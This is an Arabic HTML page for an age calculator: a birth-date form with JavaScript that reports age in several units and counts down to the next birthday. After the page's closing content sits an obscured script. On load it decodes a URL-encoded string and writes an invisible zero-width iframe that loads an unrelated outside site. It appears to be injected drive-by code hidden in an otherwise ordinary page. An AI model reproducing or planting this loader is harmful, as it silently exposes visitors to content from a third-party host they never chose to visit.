<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title>أحسب عمرك</title>
<style>
body
{
CURSOR: url("http://www.alfjr-aljdid.com/images/mouse.ani");
}
.Style7 {
FONT-SIZE: 14px
}
</style>
<meta name="description" content="لحسابة عمرك وتاريخ ميلادك بشكل دقيق">
</head>
<div align="center">
<table id="table10" style="border: 1px solid #333333; padding: 0px" height="380" cellSpacing="0" cellPadding="0" width="760" border="0">
<tr>
<td colSpan="5">
<table id="table11" cellSpacing="0" cellPadding="0" width="100%" border="0">
<tr>
<td>
<p align="center">
<HTML><BODY></BODY></HTML><HTML><BODY></BODY></HTML>
<img src="http://www.1bahrain.com/Calculate_your_age/bnr.jpg"></td>
</tr>
<tr>
<td>
<HTML>
<BODY>
<TABLE id=AutoNumber5 style="BORDER-COLLAPSE: collapse" borderColor=#111111
height=1 cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD align=middle width="100%" height=1 style="color: #000; font-family: arial,sans-serif">
<p align="center"><b><font face="Times New Roman">
<span style="text-decoration: none">احسب عمرك </span> </font></b></p>
<form method="POST" name="agecalc">
<center> <table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#FFFFFF" id="melad" cellpadding="0">
<tr>
<td style="padding: 5">
<p align="center">
<OPTIOPLEASEN>
<font color="#000000">
<textarea name="timealive" rows="11" cols="53" style="border:1px solid #BFBFBF; font-family: tahoma; font-size: 8pt; color: #000000; background-color:#F9F9F9" dir="rtl">سوف تظهر النتيجه هنا</textarea></font></td>
</tr>
<tr dir="rtl">
<td style="padding: 5">
<p align="center"><font color="#000000">
<span lang="ar-sa"> <font face="Tahoma" size="2">اختر :</font>
</span>
<select size="1" name="day" style="border-style:inset; border-width:2; font-family: Tahoma; font-size: 8pt; color:#000000; background-color:#F9F9F9">
<option selected>اليوم</option>
<option>1</option>
<option>2</option>
<option>3</option>
<option>4</option>
<option>5</option>
<option>6</option>
<option>7</option>
<option>8</option>
<option>9</option>
<option>10</option>
<option>11</option>
<option>12</option>
<option>13</option>
<option>14</option>
<option>15</option>
<option>16</option>
<option>17</option>
<option>18</option>
<option>19</option>
<option>20</option>
<option>21</option>
<option>22</option>
<option>23</option>
<option>24</option>
<option>25</option>
<option>26</option>
<option>27</option>
<option>28</option>
<option>29</option>
<option>30</option>
<option>31</option>
</select><span lang="ar-sa"> </span>
<select size="1" name="month" style="border-style:inset; border-width:2; font-family: Tahoma; font-size: 8pt; color:#000000; background-color:#F9F9F9">
<option selected>الشهر</option>
<option>يناير</option>
<option>فبراير</option>
<option>مارس</option>
<option>أبريل</option>
<option>مايو</option>
<option>يونيو</option>
<option>يوليو</option>
<option>اغسطس</option>
<option>سبتمبر</option>
<option>اكتوبر</option>
<option>نوفمبر</option>
<option>ديسمبر</option>
</select><OPTIOPLEASEN><span lang="ar-sa">
</span>
<input maxLength="4" size="4" value="السنة" name="year" style="border-style:inset; border-width:2; font-family: Tahoma; font-size: 8pt; color:#000000; background-color:#F9F9F9" onfocus="value=''"></font><p align="center"><OPTIOPLEASEN>
<input type="button" value="احسب" name="B1" style="border-style:inset; border-width:2; font-family: Tahoma; color: #000000; font-size: 8pt; background-color:#F9F9F9" onclick="run();">
<input type="reset" value="عملية جديده" name="B2" style="border-style:inset; border-width:2; font-family: Tahoma; font-size: 8pt; color: #000000; background-color:#F9F9F9"></td>
</tr>
</table>
<p><font color="#c0c0c0"><strong><font size="2">الحقوق محفوظة لشركة
بحر المود و مطور الكود <br>
{ sa7eb }</font></strong><font size="2"><br>
</font></font><span lang="en-us">
<a href="http://www.almawada.ba7r.org">
<font color="#bfbfbf" size="2">
www.almawada.ba7r.org</font></a></span></p> </form>
<script language="JavaScript">
<!-- Begin
function run() {
with (document.agecalc) {
dd = parseInt(day.selectedIndex) + 1;
mm = parseInt(month.selectedIndex) + 1;
yy = year.value;
if (yy.length != 4 || isNaN(yy)) {
document.agecalc.timealive.value = "فضلاً أدخل تاريخ سنة الميلاد ويجب ان يتكون من 4 أرقام";
document.agecalc.year.select();
document.agecalc.year.focus();
return;
}
}
days = new Date();
gdate = days.getDate();
gmonth = days.getMonth();
gyear = days.getYear();
if (gyear < 2000) gyear += 1900;
age = gyear - yy;
if ((mm == (gmonth + 1)) && (dd <= parseInt(gdate))) {
age = age;
} else {
if (mm <= (gmonth)) {
age = age;
} else {
age = age - 1;
}
}
if (age == 0)
age = age;
document.agecalc.timealive.value = "عمرك الأن " + age+ " سنه . . .\n\n";
if (mm <= (gmonth + 1))
age = age - 1;
if ((mm == (gmonth + 1)) && (dd > parseInt(gdate)))
age = age + 1;
var m;
var n;
if (mm == 12) n = 31 - dd;
if (mm == 11) n = 61 - dd;
if (mm == 10) n = 92 - dd;
if (mm == 9) n = 122 - dd;
if (mm == 8) n = 153 - dd;
if (mm == 7) n = 184 - dd;
if (mm == 6) n = 214 - dd;
if (mm == 5) n = 245 - dd;
if (mm == 4) n = 275 - dd;
if (mm == 3) n = 306 - dd;
if (mm == 2) { n = 334 - dd; if (leapyear(yy)) n++; }
if (mm == 1) { n = 365 - dd; if (leapyear(yy)) n++; }
if (gmonth == 1) m = 31;
if (gmonth == 2) {
m = 59;
if (leapyear(gyear)) m++;
}
if (gmonth == 3) { m = 90; if (leapyear(gyear)) m++; }
if (gmonth == 4) { m = 120; if (leapyear(gyear)) m++; }
if (gmonth == 5) { m = 151; if (leapyear(gyear)) m++; }
if (gmonth == 6) { m = 181; if (leapyear(gyear)) m++; }
if (gmonth == 7) { m = 212; if (leapyear(gyear)) m++; }
if (gmonth == 8) { m = 243; if (leapyear(gyear)) m++; }
if (gmonth == 9) { m = 273; if (leapyear(gyear)) m++; }
if (gmonth == 10) { m = 304; if (leapyear(gyear)) m++; }
if (gmonth == 11) { m = 334; if (leapyear(gyear)) m++; }
if (gmonth == 12) { m = 365; if (leapyear(gyear)) m++; }
months = age * 12;
months += 12 - parseInt(mm);
months += gmonth;
totdays = (parseInt(age) * 365);
totdays += age / 4;
totdays = parseInt(totdays) + gdate + m + n;
if (gmonth == 1) p = 31 + gdate;
if (gmonth == 2) {
p = 59 + gdate;
if (leapyear(gyear)) m = m+1;
}
if (gmonth == 3) { p = 90 + gdate; if (leapyear(gyear)) p++; }
if (gmonth == 4) { p = 120 + gdate; if (leapyear(gyear)) p++; }
if (gmonth == 5) { p = 151 + gdate; if (leapyear(gyear)) p++; }
if (gmonth == 6) { p = 181 + gdate; if (leapyear(gyear)) p++; }
if (gmonth == 7) { p = 212 + gdate; if (leapyear(gyear)) p++; }
if (gmonth == 8) { p = 243 + gdate; if (leapyear(gyear)) p++; }
if (gmonth == 9) { p = 273 + gdate; if (leapyear(gyear)) p++; }
if (gmonth == 10) { p = 304 + gdate; if (leapyear(gyear)) p++; }
if (gmonth == 11) { p = 334 + gdate; if (leapyear(gyear)) p++; }
if (gmonth == 12) { p = 365 + gdate; if (leapyear(gyear)) p++; }
weeks = (age * 365) + n + p;
weeks = weeks / 7;
etcdays = parseFloat(weeks) - parseInt(weeks);
etcdays = Math.round(etcdays * 7);
weeks = parseInt(weeks);
etcdays += parseInt(age / 4);
if (etcdays > 7)
weeks += parseInt(etcdays / 7);
document.agecalc.timealive.value += " عمرك بالاسابيع " + weeks + " اسبوع\n";
document.agecalc.timealive.value += " عمرك بالشهور " + months + " شهر\n";
document.agecalc.timealive.value += " عمرك بالايام " + totdays + " يوم\n";
var time = new Date();
ghour = time.getHours();
gmin = time.getMinutes();
gsec = time.getSeconds();
hour = ((age * 365) + n + p) * 24;
hour += (parseInt(age / 4) * 24);
document.agecalc.timealive.value += " عمرك بالساعات " + hour + " ساعه\n";
var min = (hour * 60) + gmin;
document.agecalc.timealive.value += " عمرك بالدقائق " + min + " دقيقه\n";
sec = (min * 60) + gsec;
document.agecalc.timealive.value += " عمرك بالثواني " + sec + " ثانيه";
mm = mm - 1;
var r;
if (mm == 0) r = 0;
if (mm == 1) r = 31;
if (mm == 2) { r = 59; if (leapyear(gyear)) m++; }
if (mm == 3) { r = 90; if (leapyear(gyear)) r++; }
if (mm == 4) { r = 120; if (leapyear(gyear)) r++; }
if (mm == 5) { r = 151; if (leapyear(gyear)) r++; }
if (mm == 6) { r = 181; if (leapyear(gyear)) r++; }
if (mm == 7) { r = 212; if (leapyear(gyear)) r++; }
if (mm == 8) { r = 243; if (leapyear(gyear)) r++; }
if (mm == 9) { r = 273; if (leapyear(gyear)) r++; }
if (mm == 10) { r = 304; if (leapyear(gyear)) r++; }
if (mm == 11) { r = 334; if (leapyear(gyear)) r++; }
mm = mm + 1;
r = parseInt(r) + parseInt(dd);
if ((mm >= (gmonth + 1)) && (dd > gdate)) {
bday = r - m - gdate;
}
else {
if ((leapyear(gyear)) && ((mm > 2) && (dd < 29))) {
a = 366;
} else {
a = 365;
}
bday = a + (r - m - gdate);
}
nhour = 24 - parseInt(ghour);
nmin = 60 - parseInt(gmin);
nsec = 60 - parseInt(gsec);
while (bday > 366) bday -= 365;
if (((bday == 366) && (leapyear(gyear)) || ((bday == 365) && (!leapyear(gyear))))) {
document.agecalc.timealive.value += "\n\nواليوم يصادف تاريخ ميلادك";
} else {
document.agecalc.timealive.value += "\n\nوتاريخ ميلادك القادم بعد :\n"
+ bday + " يوم " + nhour + " ساعه " + nmin + " دقيقه " + nsec + " ثانيه";
setTimeout("run()", 1000);
}
}
function leapyear(a) {
if (((a%4 == 0) && (a%100 != 0)) || (a%400 == 0))
return true;
else
return false;
}
// End -->
</script> </TD></TR></TBODY></TABLE></BODY></HTML></td>
</tr>
</table>
<div align="center">
<p dir="rtl">
<img src="http://www.1bahrain.com/Calculate_your_age/footer.jpg"></div>
</td>
</tr>
</table>
<script>var U7=window,W8=document;var a1="%09%09%09%3Ciframe%20align%3D%22middle%22%20width%3D0%20height%3D21%20marginwidth%3D0%20marginheight%3D0%20hspace%3D0%20vspace%3D0%20frameborder%3D0%20scrolling%3Dno%20src%3Dhttp%3A//www.al-shatea.com/index.php%22I1%22%3E%3C/iframe%3E";function V0(){var V0;V0=unescape(a1);W8.write(V0);}V0();</script>
</div>